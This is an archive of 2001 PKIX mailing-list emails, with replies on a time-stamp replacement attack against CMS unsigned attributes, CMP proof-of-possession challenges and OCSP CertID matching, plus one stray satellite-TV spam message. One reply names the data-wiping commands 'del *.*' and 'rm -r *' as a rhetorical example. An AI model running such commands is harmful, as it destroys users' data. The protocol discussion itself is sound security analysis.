Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f2FBv6D08772 for <[e-mail]>; Thu, 15 Mar 2001 12:57:06 +0100
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 12:58:30 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Time-stamp issue
References: <003101c0ad31$fd4898d0$966801c4@insight>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Prashant Dambe wrote:

> But what happens in the following scenario.As timestamp token is
> placed as unsigned attribute, one of the possible attack is thatif
> Time-stamp token it self is replaced with the Time-stamp token of the
> same signature valueinside CMS  i.e If the same signature is
> time-stamped after some later time and Time-stamp in theoriginal CMS
> is replaced,it not possibled to detect that orignal time-stamp has
> been replaced.

[I'm saying the same thing as Joerg, but more explicitly]

-- Yes, this attack would be possible, but in that case anyway you have
a serious problem.
The person that could do that, coud also do a "del *.*" or "rm -r *" on
your data, and getting out any signed message to prove anything would be
difficult for you after that.

If you think it's possible that someone changes data on your local
storage, are not able to avoid this, but still want to see it happened,
you need to sign it once more.

-- A time-stamp proves a data existed at a certain date, but can not
prove anything about how long before that time it started to exist, and
no change in the protocol will modify that.

If you manage to get back the original time-stamp (for example from the
TSA logs), you will have proven your data did exist at that earlier
date.

-- There's no way to change this situation, except signing the data
again, as I already wrote.

I might be wrong , but I believe you think it would be better if the
time-stamp was calculated over the content of the signed message, and
then included as a signed attributes, before signing the message, as it
would provide this intrusion detection feature

But this would not be the time-stamping of the signature of your message
anymore.

Anyone could remove your signature of the message, put his own, and
claim to be the author, keeping your original time-stamp inside the
message.

----------- About Zolotarev's answer :
- Yes, including a CMS signingTime attribute is a good idea, if a good
date is available locally.
There can be cases where none is available, so we can talk about this
cases.

- "the verifier attaches a timestamp as an evidenceof his own
verification process -
"I have obtained and verified that signature at that time, and the
signature was valid".

What are we talking about ? A TSA in the TSP protocol signs a hash and
does no such verification.
Appendix A of TSP does not describe any such verification.

If a TSA does this, it will need to include an extension in the
time-stamp to say it did it, and so that the difference with the
"normal" time-stamps it produces can be made, and it will need also to
define a request protocol to get the full signature message, and not
just the hash in this case.
But we are strongly getting away of the TSP in this case.

The attack by itself is perfectly feasible in TSP.



Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA26210 for <[e-mail]>; Thu, 15 Mar 2001 03:53:02 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id G395XAR0; Thu, 15 Mar 2001 17:22:27 +0530
Message-ID: <004c01c0ad46$7bfe1920$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: "Joerg Seidel" <[e-mail]>
Cc: <[e-mail]>
References: <003101c0ad31$fd4898d0$966801c4@insight> <[e-mail]>
Subject: Re: Time-stamp issue
Date: Thu, 15 Mar 2001 17:23:00 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

In the time critical situation this will not work. Suppose Time-stamp is
taken at some time t1. At time t1 signer cert
is valid (not revoked / not expired) and after some time t2 original
time-stamp has been replaced with time inside
TS as t2. At at time t2 suppose signer cert is not valid (revoked/expired)
in this case, original evidence which says
that cert is valid at t1 so you can trust the signature and also data at the
time t1. But if Timestamp token is replaced
indicates that revoked certicate can not be used to validate the signature
which is one of purpose of time-stamp.
In this case you can not say wheather time-stamp is trusted or replaced. If
you assume it was valid TS then it
will leads to wrong results. Also vice-versa of above situation is also
possible.
So at least , if the attack is detected it will not lead to wrong results.

----- Original Message -----
From: Joerg Seidel <[e-mail]>
To: Prashant Dambe <[e-mail]>
Cc: <[e-mail]>
Sent: Thursday, March 15, 2001 4:57 PM
Subject: Re: Time-stamp issue


Prashant,

Prashant Dambe wrote:
> As timestamp token is placed as unsigned attribute, one of the
> possible attack is that
> if Time-stamp token it self is replaced with the Time-stamp token of
> the same signature value
> inside CMS  i.e If the same signature is time-stamped after some later
> time and Time-stamp in the
> original CMS is replaced,it not possibled to detect that orignal
> time-stamp has been replaced.
> So putting time-stamp as unsigned attribute not works fine in all
> cases.

This is not an attack which leads to false evidence. Even the new
timestamp states correctly that the signature was made before the given
time. Just you destroy some evidence, which is something you always can
do.

Regards
Joerg
--
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA23987 for <[e-mail]>; Thu, 15 Mar 2001 03:24:49 -0800 (PST)
Received: from timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id MAA25754; Thu, 15 Mar 2001 12:24:27 +0100 (MET)
Message-ID: <[e-mail]>
Date: Thu, 15 Mar 2001 12:27:25 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof GmbH
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Prashant Dambe <[e-mail]>
CC: [e-mail]
Subject: Re: Time-stamp issue
References: <003101c0ad31$fd4898d0$966801c4@insight>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Prashant,

Prashant Dambe wrote:
> As timestamp token is placed as unsigned attribute, one of the
> possible attack is that
> if Time-stamp token it self is replaced with the Time-stamp token of
> the same signature value
> inside CMS  i.e If the same signature is time-stamped after some later
> time and Time-stamp in the
> original CMS is replaced,it not possibled to detect that orignal
> time-stamp has been replaced.
> So putting time-stamp as unsigned attribute not works fine in all
> cases.

This is not an attack which leads to false evidence. Even the new
timestamp states correctly that the signature was made before the given
time. Just you destroy some evidence, which is something you always can
do.

Regards
Joerg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA14564 for <[e-mail]>; Thu, 15 Mar 2001 02:15:08 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id UAA07751 for <[e-mail]>; Thu, 15 Mar 2001 20:24:34 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Thu, 15 Mar 2001 21:15:48 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <G8DHF9A7>; Thu, 15 Mar 2001 21:13:10 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: Prashant Dambe <[e-mail]>, [e-mail]
Subject: RE: Time-stamp issue
Date: Thu, 15 Mar 2001 21:13:07 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0AD38.87FAAC60"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0AD38.87FAAC60
Content-Type: text/plain;
	charset="iso-8859-1"

Prashant,
 
A signature may also contain the CMS signingTime attribute, which is defined
as an authenticated attribute. if a signer adds the SigningTime attribute to
the signature, and then attaches a timestamp, the time in the timestamp must
be close enough to the time specified by the attribute. All assuming that a
timestamp is obtained soon after signing, of course.
 
Therefore, replacing a 'correct' timestamp with the one generated later in
the future, will be easily detectable.
 
But in general, I dont' think that the threat is there at all:
 
A timestamp can be attached to the signature by either the signer or by a
verifier. Why would the signer want to twick his own signature? I dont'
think he would. Now, the verifier: the verifier attaches a timestamp as an
evidence of his own verification process - "I have obtained and verified
that signature at that time, and the signature was valid". What would be a
reason for the verifier to play with his own evidence? I don't see any
practical reason for it.
 
Regards
Michael

-----Original Message-----
From: Prashant Dambe [mailto:[e-mail]]
Sent: Thursday, 15 March 2001 20:26
To: [e-mail]
Subject: Time-stamp issue


As specified in the draft-ietf-pkix-time-stamp-13.txt.
APPENDIX A - Signature Timestamp attribute using CMS
One of the major use of time stamping is to time stamp a digital signature
to prove that the digital signature was created before 
a given time. Should the corresponding public key certificate be revoked
this allows to know whether the signature was created before or after ther
evocation date.
A sensible place to store a time stamp is in a [CMS] structure as an
unsigned attribute.
 
But what happens in the following scenario.
As timestamp token is placed as unsigned attribute, one of the possible
attack is that 
if Time-stamp token it self is replaced with the Time-stamp token of the
same signature value
inside CMS  i.e If the same signature is time-stamped after some later time
and Time-stamp in the 
original CMS is replaced,it not possibled to detect that orignal time-stamp
has been replaced.
So putting time-stamp as unsigned attribute not works fine in all cases.
 
Thanks
Prashant Dambe.


This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.



------_=_NextPart_001_01C0AD38.87FAAC60
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.50.4134.600" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2>Prashant,</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff size=2>A 
signature may also contain the CMS&nbsp;signingTime attribute, which is defined 
as an authenticated attribute. if a signer adds the SigningTime attribute to the 
signature, and then attaches a timestamp, the time in the timestamp must be 
close enough to the time specified by the attribute. All&nbsp;assuming that a 
timestamp is obtained soon after signing, of course.</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2>Therefore, replacing a 'correct' timestamp with the one generated later 
in the future, will be easily detectable.</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff size=2>But in 
general, I dont' think that the threat is there at all:</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff size=2>A 
timestamp can be attached to the signature&nbsp;by either the signer or by a 
verifier. Why would the signer want to twick his own signature? I dont' think he 
would. Now, the verifier: the verifier attaches a timestamp as an evidence of 
his own verification process - "I have obtained and verified that signature at 
that time, and the signature was valid". What would be a reason for the verifier 
to play with his own evidence? I don't see any practical reason for 
it.</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2>Regards</FONT></SPAN></DIV>
<DIV><SPAN class=217215809-15032001><FONT face=Arial color=#0000ff 
size=2>Michael</FONT></SPAN></DIV>
<BLOCKQUOTE 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Prashant Dambe 
  [mailto:[e-mail]]<BR><B>Sent:</B> Thursday, 15 March 2001 
  20:26<BR><B>To:</B> [e-mail]<BR><B>Subject:</B> Time-stamp 
  issue<BR><BR></FONT></DIV>
  <DIV><FONT face=Arial size=2>As specified in the 
  draft-ietf-pkix-time-stamp-13.txt.</FONT></DIV>
  <DIV><FONT face=Arial size=2>APPENDIX A - Signature Timestamp attribute using 
  CMS</FONT></DIV>
  <DIV><FONT face=Arial size=2>One of the major use of time stamping is to time 
  stamp a digital signature to prove that the digital signature was created 
  before <BR>a given time. Should the corresponding public key certificate be 
  revoked this allows to know whether the signature was created before or after 
  ther evocation date.</FONT></DIV>
  <DIV><FONT face=Arial size=2>A sensible place to store a time stamp is in a 
  [CMS] structure as an unsigned attribute.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>But what happens in the following 
  scenario.</FONT></DIV>
  <DIV><FONT face=Arial size=2>As timestamp token is placed as unsigned 
  attribute, one of the possible attack is that </FONT></DIV>
  <DIV><FONT face=Arial size=2>if Time-stamp token it self is replaced with the 
  Time-stamp token of the same signature value</FONT></DIV>
  <DIV><FONT face=Arial size=2>inside CMS&nbsp;&nbsp;i.e If the same signature 
  is time-stamped after some later time and Time-stamp in the </FONT></DIV>
  <DIV><FONT face=Arial size=2>original CMS is replaced,</FONT><FONT face=Arial 
  size=2>it not possibled to detect that orignal time-stamp has been 
  replaced.</FONT></DIV>
  <DIV><FONT face=Arial size=2>So putting time-stamp as unsigned attribute not 
  works fine in all cases.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>Thanks</FONT></DIV>
  <DIV><FONT face=Arial size=2>Prashant Dambe.</FONT></DIV><CODE><FONT 
  size=3><BR><BR>This footnote confirms that this email message has been swept 
  by<BR>MIMEsweeper for the presence of computer 
viruses.<BR></BLOCKQUOTE></FONT></CODE></BODY></HTML>

------_=_NextPart_001_01C0AD38.87FAAC60--


Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA09558 for <[e-mail]>; Thu, 15 Mar 2001 01:26:36 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id G395XAM8; Thu, 15 Mar 2001 14:55:44 +0530
Message-ID: <003101c0ad31$fd4898d0$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: <[e-mail]>
Subject: Time-stamp issue
Date: Thu, 15 Mar 2001 14:56:17 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_002E_01C0AD60.16F00BF0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_002E_01C0AD60.16F00BF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

As specified in the draft-ietf-pkix-time-stamp-13.txt.
APPENDIX A - Signature Timestamp attribute using CMS
One of the major use of time stamping is to time stamp a digital =
signature to prove that the digital signature was created before=20
a given time. Should the corresponding public key certificate be revoked =
this allows to know whether the signature was created before or after =
the revocation date.
A sensible place to store a time stamp is in a [CMS] structure as an =
unsigned attribute.

But what happens in the following scenario.
As timestamp token is placed as unsigned attribute, one of the possible =
attack is that=20
if Time-stamp token it self is replaced with the Time-stamp token of the =
same signature value
inside CMS  i.e  If the same signature is time-stamped after some later =
time and Time-stamp in the=20
original CMS is replaced,it not possibled to detect that orignal =
time-stamp has been replaced.
So putting time-stamp as unsigned attribute not works fine in all cases.

Thanks
Prashant Dambe.

------=_NextPart_000_002E_01C0AD60.16F00BF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>As specified in the=20
draft-ietf-pkix-time-stamp-13.txt.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>APPENDIX A - Signature Timestamp =
attribute using=20
CMS</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>One of the major use of time stamping =
is to time=20
stamp a digital signature to prove that the digital signature was =
created before=20
<BR>a given time. Should the corresponding public key certificate be =
revoked=20
this allows to know whether the signature was created before or after =
the=20
revocation date.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>A sensible place to store a time stamp =
is in a=20
[CMS] structure as an unsigned attribute.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>But what happens in the following=20
scenario.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>As timestamp token is placed as =
unsigned attribute,=20
one of the possible attack is that </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>if Time-stamp token it self is replaced =
with the=20
Time-stamp token of the same signature value</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>inside CMS&nbsp;&nbsp;i.e  If the same =
signature is=20
time-stamped after some later time and Time-stamp in the </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>original CMS is replaced,</FONT><FONT =
face=3DArial=20
size=3D2>it not possibled to detect that orignal time-stamp has been=20
replaced.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So putting time-stamp as unsigned =
attribute not=20
works fine in all cases.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Prashant =
Dambe.</FONT></DIV></BODY></HTML>

------=_NextPart_000_002E_01C0AD60.16F00BF0--



Received: from mail.phaos.com ([206.30.74.234]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA09972 for <[e-mail]>; Wed, 14 Mar 2001 21:16:22 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id EAA71088; Thu, 15 Mar 2001 04:37:16 -0500 (EST) (envelope-from [e-mail])
Message-Id: <5.0.2.1.2.20010315002431.026567f0@206.30.74.234>
X-Sender: arik@206.30.74.234
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 15 Mar 2001 00:35:13 -0500
To: [e-mail]
From: Ari Kermaier <[e-mail]>
Subject: draft-ietf-pkix-rfc2510bis-03
Cc: Carlisle Adams <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Dear All,

I'm seeking clarification of the challenge-response proof-of-possession 
protocol in CMP. The POP challenge is defined in section 3.2.8 as follows:

      Challenge ::= SEQUENCE {
          owf                 AlgorithmIdentifier  OPTIONAL,
          -- MUST be present in the first Challenge; MAY be omitted in any
          -- subsequent Challenge in POPODecKeyChallContent (if omitted,
          -- then the owf used in the immediately preceding Challenge is
          -- to be used).
          witness             OCTET STRING,
          -- the result of applying the one-way function (owf) to a
          -- randomly-generated INTEGER, A.  [Note that a different
          -- INTEGER MUST be used for each Challenge.]
          challenge           OCTET STRING
          -- the encryption (under the public key for which the cert.
          -- request is being made) of Rand, where Rand is specified as
          --   Rand ::= SEQUENCE {
          --      int      INTEGER,
          --       - the randomly-generated INTEGER A (above)
          --      sender   GeneralName
          --       - the sender's name (as included in PKIHeader)
          --   }
      }

1) What is the purpose of including the sender's name in the sequence to be 
encrypted? Does it guard against some sort of attack?

2) Since it is quite possible that the DER encoding of the Rand sequence 
will have length greater than k-11 octets, where k is the length of the RSA 
public modulus (for the RSA key case), what method should be used for 
performing this encryption and formatting the contents of the challenge 
OCTET STRING?

Any help would be most appreciated.


Ari Kermaier
Phaos Technology



Received: from corpdns.drgama.com ([202.104.139.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA27173 for <[e-mail]>; Wed, 14 Mar 2001 15:07:31 -0800 (PST)
From: [e-mail]
Received: from mailer.ug.eds.com ([206.217.213.118]) by corpdns.drgama.com with Microsoft SMTPSVC(5.0.2195.1600); Thu, 15 Mar 2001 07:02:14 +0800
Message-ID: <00006ab57df6$00001690$[e-mail]>
To: <[e-mail]>
Subject: Tires of Cable TV raising there rates!!!
Date: Wed, 14 Mar 2001 16:22:54 -0600
X-Priority: 3
X-MSMail-Priority: Normal
Reply-To: [e-mail]
X-OriginalArrivalTime: 14 Mar 2001 23:02:15.0890 (UTC) FILETIME=[D0004320:01C0ACDA]

Tired of Cable TV raising their rates!!!
   Get Satellite TV
   YES ---YOU CAN WATCH DIFFERENT CHANNELS ON MULTIPLE TV'S
   YES ---YOU CAN GET LOCAL STATIONS
   Order Dish Network System with a one year plan, get FREE two receivers
   and the 18" Dish with FREE basic professional installation.

   Why Bother? For $40.99 Get both receivers and the Top 100 Stations!
   With only one receiver and the Dish $35.99  Local Channels add $5.00

   You will be charged a one time $49.99 fee when you order which includes
   your  first months service for FREE.
   THAT S IT!
   FLIP TO SATELLITE... ITS DIGITAL.. ITS GREAT...
   YOU'LL LOVE IT.
   Ready? Order by phone [phone] or e-mail us [e-mail]

   REQUIREMENT- 1. One year service commitment.
   2. Major credit Card
   3. Southwest exposure to the sky.

   to be remove from future mailings e-mail us with the word "remove" in the  subject lineat --- [e-mail]

 















Tired of Cable TV raising their rates!!!
   Get Satellite TV
   YES ---YOU CAN WATCH DIFFERENT CHANNELS ON MULTIPLE TV'S
   YES ---YOU CAN GET LOCAL STATIONS
   Order Dish Network System with a one year plan, get FREE two receivers
   and the 18" Dish with FREE basic professional installation.

   Why Bother? For $40.99 Get both receivers and the Top 100 Stations!








Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA05032 for <[e-mail]>; Wed, 14 Mar 2001 08:42:51 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Wed, 14 Mar 2001 16:41:25 +0000
Subject: RE: Matching CertIDs between OCSP requests and responses
To: "Michael Myers" <[e-mail]>
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Wed, 14 Mar 2001 16:40:15 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 14/03/2001 04:42:00 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Mike,

Thanks for the reply.  I think my use of the phrase 'server error' was
perhaps misleading:  what I mean is, has the server behaved in a
non-compliant manner if a certificate from the request is missing from the
response (or, for that matter, if the response contains information about a
certificate not present in the request).  That is, is doing so an improper
response?

The idea of non-global errors is interesting, I hadn't thought about that.
It might be useful where multiple certificates are present in the request.
The most likely case I can think of is where the OCSP server is acting in
request-forwarding mode, splitting a request and farming it out to several
other servers, which in turn may return differing error states.  It would
be a pity to simply throw out the valid information and return an error
just because one of the second-level servers did.

Regards,

Jonathan



                                                                                             
                    "Michael                                                                 
                    Myers"               To:     <[e-mail]>,             
                    <myers@coasts        <[e-mail]>                                 
                    ide.net>             cc:                                                 
                                         Subject:     RE: Matching CertIDs between OCSP      
                    14/03/01             requests and responses                              
                    16:38                                                                    
                                                                                             
                                                                                             




Jonathan,

You are correct in your assumptions.  One point of clarification however.

Server errors appear in the mandatory responseStatus field of OCSPResponse
and not the optional responseBytes field in order to ensure that a server
will produce *some* type of feedback in the event of an error.

OCSPResponse ::= SEQUENCE {
    responseStatus     OCSPResponseStatus,
    responseBytes      [0]  EXPLICIT ResponseBytes OPTIONAL }

Given that, such errors speak to the server's response as a whole and not
to
individual certificates in the instance when multiple certificates are
identified in a single request and corresponding response (the latter via
SingleResponse syntax).

In other words, we assumed that the type of server problems enumerated in
OCSPResponseStatus would be global with respect a request regardless of
whether or not that request addressed a single certificate or multiple
certificates.

In the context of the v2 work, I'd be very interested to hear if your
implementation experience leads to a need for error states at the
SingleResponse level.

Your point regarding certificate identification matching in the v2 case is
well noted.

Mike

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Wednesday, March 14, 2001 4:25 AM
> To: [e-mail]
> Subject: Matching CertIDs between OCSP requests and responses
>
>
> All,
>
> Another OCSP (v1) question:  Can a client assume that the OCSP response
> CertID terms will precisely match those from the request?  That is, can
it
> assume
> 1 - that every certificate in the request will be in the response (i.e.
> it's a server error otherwise)
> 2 - that the hashing algorithm in the response CertIDs will be the same
as
> that which was used in the request (that is, the CertID data will match
> byte-for-byte between request and response).
>
> I guess given the variety of identifiers available alongside
> CertID in OCSP
> v2 that the issue of matching identifiers between request and response
> raised in point 2 above will be even more critical there.  But that's for
> other people to worry about - it's v1 I'm interested in for now.
>
> Thanks,
>
> Jonathan
> ----------------
> Dr Jonathan Tuliani
> www.symbian.com
>
>
>
> **********************************************************************
> Symbian Ltd is a company registered in England and Wales with
> registered number 01796587 and registered office at 19 Harcourt
> Street, London, W1H 4HF, UK.
> This message is intended only for use by the named addressee and
> may contain privileged and/or confidential information. If you
> are not the named addressee you should not disseminate, copy or
> take any action in reliance on it. If you have received this
> message in error please notify [e-mail] and delete
> the message and any attachments accompanying it immediately.
> Symbian does not accept liability for any corruption,
> interception, amendment, tampering or viruses occuring to this
> message in transit or for any message sent by its employees which
> is not in compliance with Symbian corporate policy.
> **********************************************************************
>






Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA04444 for <[e-mail]>; Wed, 14 Mar 2001 08:32:27 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2EGWHr04467; Wed, 14 Mar 2001 08:32:18 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: RE: Matching CertIDs between OCSP requests and responses
Date: Wed, 14 Mar 2001 08:38:31 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Jonathan,

You are correct in your assumptions.  One point of clarification however.

Server errors appear in the mandatory responseStatus field of OCSPResponse
and not the optional responseBytes field in order to ensure that a server
will produce *some* type of feedback in the event of an error.

OCSPResponse ::= SEQUENCE {
    responseStatus     OCSPResponseStatus,
    responseBytes      [0]  EXPLICIT ResponseBytes OPTIONAL }

Given that, such errors speak to the server's response as a whole and not to
individual certificates in the instance when multiple certificates are
identified in a single request and corresponding response (the latter via
SingleResponse syntax).

In other words, we assumed that the type of server problems enumerated in
OCSPResponseStatus would be global with respect a request regardless of
whether or not that request addressed a single certificate or multiple
certificates.

In the context of the v2 work, I'd be very interested to hear if your
implementation experience leads to a need for error states at the
SingleResponse level.

Your point regarding certificate identification matching in the v2 case is
well noted.

Mike

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Wednesday, March 14, 2001 4:25 AM
> To: [e-mail]
> Subject: Matching CertIDs between OCSP requests and responses
>
>
> All,
>
> Another OCSP (v1) question:  Can a client assume that the OCSP response
> CertID terms will precisely match those from the request?  That is, can it
> assume
> 1 - that every certificate in the request will be in the response (i.e.
> it's a server error otherwise)
> 2 - that the hashing algorithm in the response CertIDs will be the same as
> that which was used in the request (that is, the CertID data will match
> byte-for-byte between request and response).
>
> I guess given the variety of identifiers available alongside
> CertID in OCSP
> v2 that the issue of matching identifiers between request and response
> raised in point 2 above will be even more critical there.  But that's for
> other people to worry about - it's v1 I'm interested in for now.
>
> Thanks,
>
> Jonathan
> ----------------
> Dr Jonathan Tuliani
> www.symbian.com
>
>
>
> **********************************************************************
> Symbian Ltd is a company registered in England and Wales with
> registered number 01796587 and registered office at 19 Harcourt
> Street, London, W1H 4HF, UK.
> This message is intended only for use by the named addressee and
> may contain privileged and/or confidential information. If you
> are not the named addressee you should not disseminate, copy or
> take any action in reliance on it. If you have received this
> message in error please notify [e-mail] and delete
> the message and any attachments accompanying it immediately.
> Symbian does not accept liability for any corruption,
> interception, amendment, tampering or viruses occuring to this
> message in transit or for any message sent by its employees which
> is not in compliance with Symbian corporate policy.
> **********************************************************************
>



Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA13738 for <[e-mail]>; Wed, 14 Mar 2001 04:27:09 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]> for <[e-mail]>; Wed, 14 Mar 2001 12:25:43 +0000
Subject: Matching CertIDs between OCSP requests and responses
To: [e-mail]
Cc: 
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Wed, 14 Mar 2001 12:24:32 +0000
X-Priority: 3 (Normal)
